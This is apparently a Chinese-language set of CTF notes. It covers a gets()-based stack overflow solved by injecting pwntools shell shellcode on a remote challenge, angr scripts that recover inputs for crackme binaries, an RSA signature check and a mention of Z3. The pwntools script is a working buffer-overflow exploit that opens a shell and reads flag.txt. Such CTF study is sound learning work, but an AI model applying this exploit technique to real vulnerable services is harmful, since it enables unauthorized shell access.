Table of Contents
shellcode 注入
需要解的程序, 目的是获取同目录下的 flag.txt
内容
#include <stdio.h>#include <stdlib.h>
void vuln(void){ char buf[100]; printf("<Text 2> %p\n", buf); gets(buf);}
void main(void){ char sample[20]; puts("<Text 1>"); fgets(sample, sizeof(sample) - 1, stdin); vuln();}
编译命令
gcc chall.c -o chall -fno-stack-protector -z execstack
可以注意 execstack
这一项.
一开始我本想用第二个 gets
溢出来重写 $rbp
寄存器到 system
的地址, 然后 $rdi
到 /bin/sh
来执行 system("/bin/sh");
以获取命令行, 但是问题出现在拿不到远程的 system
地址.
后来看了一眼网上, 可以用 shellcode
来解决
from pwn import *# lib = gdb.debug("<local file>")lib = remote("<remote addr>", <port>)print(lib.recv())# 随便写点什么填充第一个输入lib.sendline(b"a")re = lib.recv()print(re)# 从第二个输出中获取第二个字符数组的地址addr = int(re[-15:-1], 16)print(re[-15:-1])# 获取 bytes 类型的 system("/bin/sh"); 的 shellcodebash_bytes = asm(shellcraft.amd64.linux.sh(),arch='amd64', os='linux')print(len(bash_bytes))# 填充 shellcode 到第二个字符数组, 同时用 overflow 重写 `$rbp` 到之前获取的第二个字符数组开头lib.sendline(bash_bytes + b"\x00" * (120 - len(bash_bytes)) + p64(addr, endian="little"))# 获取 flag.txt 内容lib.sendline(b"cat flag.txt")lib.recv()
angr 破解输入
#include <stdio.h>#include <stdlib.h>#include <string.h>char key[50] = "_________________<Text_1>______________\xC0\xDE";
void win(void){ system("/bin/sh");}
void main(void){ char input[50]; fgets(input, sizeof(input) - 1, stdin); if (strlen(input) == strlen(key)) { for (int i = 0; i < strlen(key); i++) { if ((input[i] ^ 0x27) != key[i]) { exit(0); } } system("/bin/sh"); }}
这里是要输入一个合适的字符串, 使程序走到 system 这一行 然后我就想到了可以用 Angr 来爆破输入的字符串 编译命令
gcc chall.c -o chall
解决脚本:
import angrimport sys# 程序地址path_to_binary = "./chall"# 载入程序project = angr.Project(path_to_binary)# 入口点为默认程序入口点initial_state = project.factory.entry_state()# 初始化模拟器simulation = project.factory.simgr(initial_state)# system 那一行的地址 (0x400000 开头是因为 Angr 的 pie 地址默认是 0x400000)print_good_address = 0x400924# 寻找解决方案simulation.explore(find=print_good_address)
if simulation.found: solution_state = simulation.found[0] # 输出输入值 solution = solution_state.posix.dumps(sys.stdin.fileno()) print(solution)else: raise Exception('Could not find the solution')
然后
from pwn import *# 提交解决方案地址lib = remote("<remote addr>", 1111)# 上一步获得的值lib.sendline(b'cNB@H\x07}FDDFN\x07NT\x07SOB\x07EBTS\x07dtb\x07WUHABTTHU\t\xe7\xf9\x00\x00\x00\x00\x00\x00\x00')lib.interactive()
angr - 2
当我们遇到像下面这种一长串来验证一个FLAG
全局变量的时候(WolvCTF23-Rev-Homework_help):
void __stack_chk_fail(void){ int iVar1; long lVar2; uint uVar3; long in_FS_OFFSET; uint local_15c; uint auStack344 [2]; undefined8 local_150; undefined8 local_148; undefined8 local_140; undefined8 local_138; undefined8 local_130; undefined8 local_128; undefined8 local_120; undefined8 local_118; undefined8 local_110; undefined8 local_108; undefined8 local_100; undefined8 local_f8; undefined8 local_f0; undefined8 local_e8; undefined8 local_e0; __jmp_buf_tag local_d8; long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28); auStack344[1] = 0x14; local_150 = 0x1200000017; local_148 = 0x500000001d; local_140 = 0x5d00000046; local_138 = 0x4100000042; local_130 = 0x330000006c; local_128 = 0x5a0000005d; local_120 = 0x3a0000000e; local_118 = 0x410000006a; local_110 = 0x5700000040; local_108 = 0x3400000008; local_100 = 0xb0000003c; local_f8 = 0x3400000003; local_f0 = 0x4600000028; local_e8 = 0x530000005f; local_e0 = 0x5000000010; local_15c = 0x36; iVar1 = _setjmp(&local_d8); if (iVar1 == 0) { lVar2 = 0; uVar3 = 0x41; while( true ) { local_15c = local_15c ^ uVar3; if ((int)(char)FLAG[lVar2] != local_15c) { /* WARNING: Subroutine does not return */ __longjmp_chk(&local_d8,1); } lVar2 = lVar2 + 1; if (lVar2 == 0x20) break; uVar3 = auStack344[lVar2]; } // addr: 0x13f5 puts("Well Done."); } else { // addr: 0x1414 puts("Nope."); } if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return; } /* WARNING: Subroutine does not return */ __stack_chk_fail();}
如果不想手动分析(这个分析相对来说也不是很困难?)也可以用 Angr
import angrimport sysimport claripy
def is_successful(state): global flag # 检查 stdout 有没有 Well Done 字段 return b'Well Done' in state.posix.dumps(1)
def should_abort(state): # 检查控制台 stdout 有没有 Nope 字段 return b'Nope' in state.posix.dumps(1)
# 加载二进制文件, 当我们分析的二进制没有受外部库显著的影响时, 可以关掉 auto_load_libsproject = angr.Project("F:/Downloads/homework_help", auto_load_libs = False)print(project.loader.find_symbol("__stack_chk_fail").rebased_addr)# 从这个方法开始执行state = project.factory.blank_state(addr=project.loader.find_symbol("__stack_chk_fail").rebased_addr)# 把 FLAG 变量当作一个 solver 的变量, 我们目的就是让 Angr 构造一个合适的 FLAG 来达到 is_successful 条件# 第一个是自定义名字, 可以随意, 第二个参数是长度, 通过 Ghidra 可以看到程序中为 32 bytes 长, 也就是 32 * 8 bits 长flag = state.solver.BVS('FLAG', 32 * 8)# FLAG addrprint(project.loader.find_symbol("FLAG").rebased_addr)# 把 FLAG 填充到全局 FLAG 符号的内存位置里state.memory.store(project.loader.find_symbol("FLAG").rebased_addr, flag)# 构造一个模拟器simulation = project.factory.simulation_manager(state)# 优化用的, 去掉也没事应该simulation.one_active.options.add(angr.options.LAZY_SOLVES)# 这里同时用 puts("Well Done.") 和 puts("Nope.") 本身的地址和控制台输出检查作为 find 条件, 实际上可以只使用一个simulation.explore(find=[is_successful, 0x004013f5] , avoid=[should_abort, 0x401414])
for deadended in simulation.deadended: print("Valid memory access triggered by %s" % repr(deadended.posix.dumps(0)))
for errored in simulation.errored: print("%s caused by %s" % (errored.error, repr(errored.state.posix.dumps(0))))
if simulation.found: for s in simulation.found: # 输出 stdin 的内容 print("input:", s.posix.dumps(0)) # 输出程序 stdout print("output:", s.posix.dumps(1)) # 输出达到 is_successful 条件的 FLAG 值 print(s.solver.eval(flag, cast_to=bytes).decode())else: raise Exception('Could not find the solution')
RSA
遇到给出 N, E 和 C 的情况, 应该能确认是 RSA 了.
这个时候要确认是 RSA 加密还是签名, 不然可能会和我一样浪费几个小时在 RsaCtfTool 和 yafu 上面 (x)
可以在开始尝试解密的时候用
import Crypto.Util.number as cun
n = #e = #c = #
p = pow(c, e, n)print(cun.long_to_bytes(p))
看看是不是签名, 然后再尝试解密.
Z3 solver
z3 solver 的 python 库可以用来求解约束.
比如在 hack-a-sat 里面有一个chal是每个表情代表一个 32 以内的数字, 然后给出每个数字的因子和其他的一些条件, 这个时候就可以用 z3 solver 创建一系列变量然后给他们添加chal里给出的条件, 然后求解得到每一个的对应值.